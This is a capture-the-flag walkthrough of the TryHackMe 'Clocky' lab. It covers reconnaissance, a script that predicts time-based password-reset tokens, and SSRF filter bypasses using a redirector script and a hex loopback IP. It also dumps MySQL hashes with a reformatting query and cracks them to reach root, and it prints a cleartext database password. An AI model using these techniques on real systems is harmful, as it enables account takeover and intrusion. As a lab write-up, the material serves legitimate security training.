Skip to content

TryHackMe - Clocky

Introduction


OS: Linux

URL: Clocky

Level: Medium


A Medium rated room. Involves code review, Time based token exploitation, SSRF and privilege escalation.

Recon

First we start Off with a Nmap Scan to check for open ports and services running on the machine.

Note

We'll be doing a full port scan with the -p- flag. As one of the webserver is running on port 8000 which is not in the nmap top 1K port list I have also used the --min-rate=5000 flag to speed up the scan. This is not recommended as you'll likely miss some ports or even risk crashing the target machine.

It's always recommended to do a full port scan in the background after the inital scan with the top 1K ports.

nmap -sC -sV -oN nmap/all_ports -p- -v --min-rate=5000 $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d9:42:e0:c0:d0:a9:8a:c3:82:65:ab:1e:5c:9c:0d:ef (RSA)
| 256 ff:b6:27:d5:8f:80:2a:87:67:25:ef:93:a0:6b:5b:59 (ECDSA)
| 256 e1:2f:4a:f5:6d:f1:c4:bc:89:78:29:72:0c🇪🇨32:d2 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.41 (Ubuntu)
8000/tcp open http nginx 1.18.0 (Ubuntu)
| http-robots.txt: 3 disallowed entries
|
/.sql$ /.zip$ /*.bak$
| http-methods:
| Supported Methods: GET HEAD POST
|_http-title: 403 Forbidden
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open http-proxy Werkzeug/2.2.3 Python/3.8.10
|_http-server-header: Werkzeug/2.2.3 Python/3.8.10
| http-methods:
|
Supported Methods: HEAD GET OPTIONS
[..snip..]
|_http-title: Clocky

From Nmap Scan results we have 3 web servers running on ports 80, 8000, and 8080.

  • Port 80 is running Apache. But seems to block all requests with a 403 Forbidden error.
  • Port 8000 is running Nginx. Again seems to block all requests with a 403 Forbidden error. But we have a robots.txt file which has entries disallowing .sql, .zip, and .bak files.
  • Port 8080 is running a Python web server.

From the disallowed entries in robots.txt we probably need to also scan for hidden files and directories.

Since the 8080 port is running a Python flask webserver we can skip file enumeration on it for now as in Flask you generally need to explicitly define the routes.

Note

Note there are still some exceptions to this where Flask Web-server can be configured to serve static files. But we can check that later if we are out of options.


Flag 1

This involves the nginx server running on port 8000.

Since we know there is a robots.txt file we can try to access it.

robots_txt_on_port_8000

And we have our first flag.


Flag 2

Let's run a Gobuster directory scan on port 8000 with the extensions from the robots.txt file.

┌──(kali㉿kali)-[~/THM/clocky]gobuster dir -u http://$IP:8000/ -w /opt/useful/SecLists/Discovery/Web-Content/raft-small-words.txt -t 50 -x bak,zip,sql
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.146.73:8000/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /opt/useful/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: bak,zip,sql
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.zip (Status: 200) [Size: 1922]

gobuster_on_port_8000

We have a index.zip file. Let's download it and extract it.

┌──(kali㉿kali)-[~/THM/clocky]wget http://$IP:8000/index.zip--2024-03-31 23:58:24-- http://10.10.146.73:8000/index.zip
Connecting to 10.10.146.73:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1922 (1.9K) [application/zip]
Saving to: ‘index.zip’
2024-03-31 23:58:24 (245 MB/s) - ‘index.zip’ saved [1922/1922]

┌──(kali㉿kali)-[~/THM/clocky]
unzip index.zipArchive: index.zip
inflating: app.py
extracting: flag2.txt

┌──(kali㉿kali)-[~/THM/clocky]
cat flag2.txt THM{REDACTED}

index_zip_on_port_8000

And we have our second flag.


Flag 3

Inside the index.zip file we have a app.py file containing the source code for the Flask web server running on port 8080.

We can get a list of all the routes defined in the Flask app by checking the source code.

flask_app_routes

If we head over to the /administrator route we get a login page.

flask_app_admin_login

app.py
@app.route("/administrator", methods=["GET", "POST"])
def administrator():
  if session.get("logged_in"):
    return render_template("admin.html")

  else:
    if request.method == "GET":
      return render_template("login.html")

    if request.method == "POST":
      user_provided_username = request.form["username"]
      user_provided_password = request.form["password"]


      try:
        with connection.cursor() as cursor:

          sql = "SELECT ID FROM users WHERE username = %s"
          cursor.execute(sql, (user_provided_username))

          user_id = cursor.fetchone()
          user_id = user_id["ID"]

          sql = "SELECT password FROM passwords WHERE ID=%s AND password=%s"
          cursor.execute(sql, (user_id, user_provided_password))

          if cursor.fetchone():
            session["logged_in"] = True
            return redirect("/dashboard", code=302)

      except:
        pass

      message = "Invalid username or password"
      return render_template("login.html", message=message)

From checking the source code we know that the login form is not vulnerable to SQL injection as the query params are not directly concatenated with the SQL query (this is the same for all the sql queries in the source so we can skip SQL injection attacks for all routes).


Next we can try the /forgot_password route.

flask_app_forgot_password

app.py
# Work in progress (10/05-2023, jane)
# Is the db really necessary?
@app.route("/forgot_password", methods=["GET", "POST"])
def forgot_password():
  if session.get("logged_in"):
    return render_template("admin.html")

  else:
    if request.method == "GET":
      return render_template("forgot_password.html")

    if request.method == "POST":
      username = request.form["username"]
      username = username.lower()

      try:
        with connection.cursor() as cursor:

          sql = "SELECT username FROM users WHERE username = %s"
          cursor.execute(sql, (username))

          if cursor.fetchone():
            value = datetime.datetime.now()
            lnk = str(value)[:-4] + " . " + username.upper()
            lnk = hashlib.sha1(lnk.encode("utf-8")).hexdigest()
            sql = "UPDATE reset_token SET token=%s WHERE username = %s"
            cursor.execute(sql, (lnk, username))
            connection.commit()

      except:
        pass

      message = "A reset link has been sent to your e-mail"
      return render_template("forgot_password.html", message=message)

Looking at the highlited source code above. We can see that when you make a POST request to /forgot_password route with a valid username.

It generates a token by concatenating the current time and the username. Then hashes the string using sha1 and stores the token in the reset_token table in the database.

To exploit this we essentially need know the time and username, then we should be able to generate the token and reset the password.


Problems Problems Problems!

A Brief Overview of me spending hours and going crazy

There are two really difficult parts in generating the token.

  • We have three usernames that we get from the comments in the source code jane, clarice and clocky_user from db_user variable.
  • We need to know the exact time when the request was made with a two digit precision for milliseconds along with the timezone.

This was just made worse because there was no way to enumerate users to know that these usernames were valid. In fact they were not.

The username we need is administrator the only way you could know this is by either guessing it from looking at the route name or by looking at the H2 Banner

But brute forcing wasn't really a option here as the problem 2 makes it so that each username enumeration would atleast take anywhere from 4800-15000 plus requests.

I did close a million requests trying to enumerate the user. So to save you the trouble the username is administrator and the timezone is GMT +0. Which is the same as the time reported in the home page of the website.


Generating the token

Since the token generated depends on the time we need to know the time on the server.

When you make a request to the server the response header will contain the Date field which will give you the time on the server.

date_header

This has a precision upto the seconds mark and since the requests made takes less than a second. The time used by the server to generate the token will be the same as the time reported in the Date field.

But if we look at the output of str(datetime.datetime.now())[:-4] we see that the time is reported with a precision of 2 digits for milliseconds.

┌──(kali㉿kali)-[~/THM/clocky]python3 Python 3.11.6 (main, Oct 8 2023, 05:06:43) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
import datetimestr(datetime.datetime.now())[:-4]'2024-04-01 01:30:47.57'

So we basically need to bruteforce the first two digits of the milliseconds to generate the token.

Let's script this to generate a wordlist of all possible tokens.

generate_tokens.py
import datetime 
import hashlib

username = "administrator"

# time copied from the `Date` field in server response headers
server_response_time = "Mon, 01 Apr 2024 05:47:17 GMT"

# format of the time copied from the `Date` field in server response headers
server_response_format = "%a, %d %b %Y %H:%M:%S %Z"

# convert the time to a datetime object
request_time_datetime_obj = datetime.datetime.strptime(server_response_time, server_response_format)

for milli_seconds in range(100):
    # add the milliseconds to the time
    lnk = str(request_time_datetime_obj) + f".{milli_seconds:02d}" + " . " + username.upper()
    # generate the token
    lnk = hashlib.sha1(lnk.encode("utf-8")).hexdigest()
    print(lnk)

Just make sure to replace the server_response_time with the time from the Date field in the server response headers.


Finding the reset token param

Now that we have a list of possible tokens we can try to reset the password.

Let's head over to /password_reset route

flask_app_password_reset

We get Invalid Parameter error. Let's take a look at the code

app.py
# Done
@app.route("/password_reset", methods=["GET"])
def password_reset():
  if request.method == "GET":
    # Need to agree on the actual parameter here (12/05-2023, jane)
    if request.args.get("TEMPORARY"):
      # Not done (11/05-2023, clarice)
      # user_provided_token = request.args.get("TEMPORARY")

      try:
        with connection.cursor() as cursor:

          sql = "SELECT token FROM reset_token WHERE token = %s"
          cursor.execute(sql, (user_provided_token))
          if cursor.fetchone():
            return render_template(
              "password_reset.html", token=user_provided_token
            )

          else:
            return "<h2>Invalid token</h2>"

      except:
        pass

    else:
      return "<h2>Invalid parameter</h2>"
  return "<h2>Invalid parameter</h2>"

The code is expecting a parameter named TEMPORARY in the query string. But it's commented out.

If we try to access the route with the TEMPORARY parameter (/password_reset?TEMPORARY=test) we get Invalid parameter error again.

The comments in the code hint towards the parameter TEMPORARY potentially being the changed in the future, and it's possible that the code we have is an outdated version.

Now we need to again bruteforce the parameter to reset the password.

We can use ffuf and the SecLists burp-parameter-names.txt wordlist to bruteforce the parameter.

ffuf_bruteforce_password_reset_token_param

┌──(kali㉿kali)-[~/THM/clocky]ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u "http://$IP:8080/password_reset?FUZZ=aaaaaa" -mc all -fs 26
/'\ /'\ /'\
/\ _
/ /\ _/ __ __ /\ _/
\ \ ,
\ \ ,\/\ \/\ \ \ \ ,__\
\ \ _/ \ \ _/\ \ _\ \ \ \ _/
\ _\ \ _\ \ ____/ \ _\
\// \/_/ \/
/ \/_/

v2.1.0-dev
________

:: Method : GET
:: URL : http://10.10.92.238:8080/password_reset?FUZZ=aaaaaa
:: Wordlist : FUZZ: /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response size: 26
__________

token [Status: 200, Size: 22, Words: 2, Lines: 1, Duration: 243ms]
:: Progress: [6453/6453] :: Job [1/1] :: 81 req/sec :: Duration: [0:01:19] :: Errors: 0 ::

Note

Note how after FUZZ= i set the value to aaaaa it can be any random string but this needs to be set.

Because if you take a look at the code. it's not checking if the parameter exists but instead if the parameter has any value.

Example: If you try to access /password_reset?token= the if request.args.get("token"): will return a empty string ("") which equates to a False and the code will return to the else: block.

But if you try to access /password_reset?token=RANDOM_STRING the if request.args.get("token"): will return RANDOM_STRING and the code will continue to execute the if: code block.


Resetting the password

Now that we know the parameter is token we can try to reset the password.

Send a POST request to /forgot_password with the username parameter set to administrator to generate the token. You can just do this in the browser but I recommend using burp as this will make it easier for us to get the Date field from the response headers.

burp_forgot_password

Now update the time in the generate_tokens.py script with the time from the Date field in the response headers.

Let's generate a wordlist of all possible tokens using our generate_tokens.py script and use ffuf to bruteforce the token.

ffuf_bruteforce_password_reset

┌──(kali㉿kali)-[~/THM/clocky]python3 generate_tokens.py > wordlist
┌──(kali㉿kali)-[~/THM/clocky]
wc -l wordlist 100 wordlist

┌──(kali㉿kali)-[~/THM/clocky]
ffuf -w wordlist -u "http://$IP:8080/password_reset?token=FUZZ" -mc all -fs 22
/'\ /'\ /'\
/\ _
/ /\ _/ __ __ /\ _/
\ \ ,
\ \ ,\/\ \/\ \ \ \ ,__\
\ \ _/ \ \ _/\ \ _\ \ \ \ _/
\ _\ \ _\ \ ____/ \ _\
\// \/_/ \/
/ \/_/

v2.1.0-dev
________

:: Method : GET
:: URL : http://10.10.92.238:8080/password_reset?token=FUZZ
:: Wordlist : FUZZ: /home/kali/THM/clocky/wordlist
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response size: 22
__________

c8c6d208e1d6d9a8a25a3a50a6e1e8684f90c914 [Status: 200, Size: 1627, Words: 665, Lines: 54, Duration: 178ms]
:: Progress: [100/100] :: Job [1/1] :: 136 req/sec :: Duration: [0:00:01] :: Errors: 0 ::

Now we can use this token to reset the password.

password_reset_webpage_with_correct_token


Now lets Login to the /administrator route with the username administrator and the new password you've set.

flask_app_admin_dashboard

Finally, we have our third flag.


Flag 4

Notice that in the admin dashboard we have a Location field. But it doesn't say much about what it does.

Trying to put /etc/passwd in the Location field just gets us an empty file

flask_app_admin_dashboard_etc_passwd

Let's send this to burp repeater and play around with the request.

If you put a http request in the Location field it will make a request to the server and display the response.

burp_admin_dashboard_location_http_request

If you remember all requests to port 80 and port 8000 were blocked. Maybe they're allowed when accessed from the server itself?.

SSRF

We can try to access the robots.txt file on the server by putting http://localhost:8000/robots.txt in the Location field.

flask_app_admin_dashboard_robots_txt

Note: This code is from the updated file from the actual server which you can only access after you get a shell on the machine.

I've provided the code here to better understand the filtering in place.

app/app.py
@app.route("/dashboard", methods=["GET", "POST"])
def dashboard():
  if session.get("logged_in"):
    if request.method == "POST":
      user_provided_url = request.form["location"]

      if "localhost" in user_provided_url:
        message = "Action not permitted"
        return render_template("admin.html", message=message)
      if "127" in user_provided_url:
        message = "Action not permitted"
        return render_template("admin.html", message=message)
      if "0.0.0.0" in user_provided_url:
        message = "Action not permitted"
        return render_template("admin.html", message=message)

Looks like there is a filter in place that blocks any requests that contain - localhost - 127 - 0.0.0.0

Tip

In hindsight now that I know what the code looks like just using uppercase LOCALHOST would have bypassed the filter.

There are several ways to bypass this filtering.

This doc from HackTricks explains several ways.

I first wrote a redirect script in python

redirect.py
!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
    print("Usage: {} <port_number> <url>".format(sys.argv[0]))
    sys.exit()

class Redirect(BaseHTTPRequestHandler):
   def do_GET(self):
       self.send_response(302)
       self.send_header('Location', f"{sys.argv[2]}{self.path}")
       self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

and run this using the location we need to redirect to.

┌──(kali㉿kali)-[~/THM/clocky]python3 redirect.py 9000 http://localhost:8000/10.10.92.238 - - [01/Apr/2024 03:00:55] "GET /robots.txt HTTP/1.1" 302 -

flask_app_admin_dashboard_redirector

Now we can access the robots.txt file on the server by just requesting http://YOUR_VPN_IP:9000/robots.txt in the Location field.

But the / endpoint on port 8000 still gives a 403 Forbidden error.

Port 80 Apache Server

Let's try to see if Port 80 is accessible with SSRF.

$ python3 redirect.py 9000 http://localhost/

And we get a 200 OK response.

ssrf_port_80_apache

The title says it's a Internal dev storage but it doesn't list any files. We likely have to bruteforce the files again.

But since we are using python to redirect, and it's not multi-threaded it will likely be slow or even outright crash for few requests.

So let's try another way to bypass the filter.

If you read the article from HackTricks you'll see that we can also use the Hex representation of the IP address to make requests.

127.0.0.1 in Hex is 0x7f000001

So if we request http://0x7f000001/ we should be able to access the same Internal dev storage page.

ssrf_port_80_apache_hex

Now that we have access to the Internal dev storage page we can try to bruteforce the files.

Bruteforcing the files

First we need to save the Burp request to a file. This will make it much easier to use with ffuf.

burp_save_request

Note

I've already appended FUZZ to http://0x7f000001/ in the request before saving it.

If you remember from the nmap scan results the robots.txt file disallowed .zip, .sql, and .bak files. So we will also add these extensions to the ffuf command.

ffuf_bruteforce_apache_internal_dev_storage

┌──(kali㉿kali)-[~/THM/clocky]ffuf -request burp_dashboard_request_file -w /opt/useful/SecLists/Discovery/Web-Content/raft-small-words.txt -debug-log test.log -request-proto http -fs 272,275 -mc all -e .bak,.zip,.sql -o ffuf.log
/'\ /'\ /'\
/\ _
/ /\ _/ __ __ /\ _/
\ \ ,
\ \ ,\/\ \/\ \ \ \ ,__\
\ \ _/ \ \ _/\ \ _\ \ \ \ _/
\ _\ \ _\ \ ____/ \ _\
\// \/_/ \/
/ \/_/

v2.1.0-dev
________

:: Method : POST
:: URL : http://10.10.92.238:8080/dashboard
:: Wordlist : FUZZ: /opt/useful/SecLists/Discovery/Web-Content/raft-small-words.txt
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
:: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.ZgpUDA.gXUCDH_HqBv0Eq3Jgzd47l8j220
:: Header : Host: 10.10.92.238:8080
:: Header : Origin: http://10.10.92.238:8080
:: Header : Connection: close
:: Header : Referer: http://10.10.92.238:8080/dashboard
:: Header : Upgrade-Insecure-Requests: 1
:: Header : Accept-Language: en-US,en;q=0.5
:: Data : location=http://0x7f000001/FUZZ
:: Extensions : .bak .zip .sql
:: Output file : ffuf.log
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response size: 272,275
__________

database.sql [Status: 200, Size: 1636, Words: 231, Lines: 58, Duration: 319ms]

We have a database.sql file. Let's download it and see what's inside.

burp_database_sql

We have our fourth flag.


Flag 5

The database.sql file contains two passwords. Let's try this password on the SSH service running on port 22.

Known Usernames:

  • jane
  • clarice
  • clocky_user
  • administrator
  • root

One of the password works for the user clarice.

ssh_clarice

We have our fifth flag.


Flag 6

Now that we have access to the machine let's try to escalate our privileges.

Trying the passwords we know against root or jane doesn't work.

Since the code mentioned the database user password is in the .env file (load_dotenv()) we can look for it.

clarice has the source code for the app in ~/app directory. And the .env file is located at ~/app/.env.

We have the database password

database_password

Since we already know the database username is clocky_user we can try to access the database.

mysql -u clocky_user -p
Enter password:
show databases;+--------------------+
| Database |
+--------------------+
| clocky |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.01 sec)

If you read through the database.sql file you'll see that clocky_user was granted all privileges on all the databases.

database.sql
CREATE USER IF NOT EXISTS 'clocky_user'@'localhost' IDENTIFIED BY '!WE_LOVE_CLEARTEXT_DB_PASSWORDS!';
GRANT ALL PRIVILEGES ON *.* TO 'clocky_user'@'localhost' WITH GRANT OPTION;

CREATE USER IF NOT EXISTS 'clocky_user'@'%' IDENTIFIED BY '!WE_LOVE_CLEARTEXT_DB_PASSWORDS!';
GRANT ALL PRIVILEGES ON *.* TO 'clocky_user'@'%' WITH GRANT OPTION;

Due to this we can read all the password hashes from the mysql database.

mysql> use mysql;

Database changed

mysql> select Host, User, Authentication_string from user;

+-----------+------------------+------------------------------------------------------------------------+
| Host      | User             | Authentication_string                                                  |
+-----------+------------------+------------------------------------------------------------------------+
| %         | clocky_user      | $A$005$~g]5C]]hmVcZUf8oIT96B7VRZhQibsUhSe5eKbHm4Lq1ks8pzxDkNM9 |
/xuiN2%#pIV5@8=o1xaxXD13/Mh0rlloe/WqcmmaBDMF6r7wjvFGgoTSaB |
| localhost | clocky_user      | $A$005$cgâ–’|\>B^:
                                                 yCR0kSV+XwNDxm2lDD5W3J9551gjlVmOZ9Z9hH2Szailxm2VkL. |
| localhost | debian-sys-maint | $A$005$Ebh3â–’N5a#f6HM?xF*uSqjNbbUYGitDq/yFLM8LbauDh83QtraQaETy6nZWtWc2 |
| localhost | dev              | $A$005$
8w|Q!N]rZX!mZ\?ok/WxQEdeRLNgqXpWEf4sJonZecawFUizD8FokeI5F. |
| localhost | mysql.infoschema | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED |
| localhost | mysql.session    | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED |
| localhost | mysql.sys        | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED |
| localhost | root             |                                                                        |
+-----------+------------------+------------------------------------------------------------------------+

But this cannot directly be cracked. (read this issue for more details)

Hashcat Example Hashes page lists a method to get password hashes in a format that can be cracked.

SELECT user, CONCAT('$mysql', SUBSTR(authentication_string,1,3), LPAD(CONV(SUBSTR(authentication_string,4,3),16,10),4,0),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) AS hash FROM user WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';

We can now get the hashes in a format that can be cracked.

mysql> SELECT user, CONCAT('$mysql', SUBSTR(authentication_string,1,3), LPAD(CONV(SUBSTR(authentication_string,4,3),16,10),4,0),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) AS hash FROM user WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';
+------------------+---------------------------------+
| user             | hash                                                                                                                                          |
+------------------+---------------------------------+
| clocky_user      | $mysql$A$0005*077E1  READACTED |
| dev              | $mysql$A$0005*0D172  READACTED |
| clocky_user      | $mysql$A$0005*63671  READACTED |
| debian-sys-maint | $mysql$A$0005*45626  READACTED |
| dev              | $mysql$A$0005*1C160  READACTED |
+------------------+---------------------------------+
5 rows in set (0.00 sec)

Save the hashes in a file and crack them using hashcat. Few minutes later you should have a cracked password.

┌──(kali㉿kali)-[~/THM/clocky]hashcat hash.txt /usr/share/wordlists/rockyou.txt -m 7401
hashcat (v6.2.6) starting

[...SNIP...]

$mysql$A$005*0D**REDACTED**:arm**REDACTED**

We can try to su as root with the cracked password.

su_root

And we have our sixth flag and final flag. :)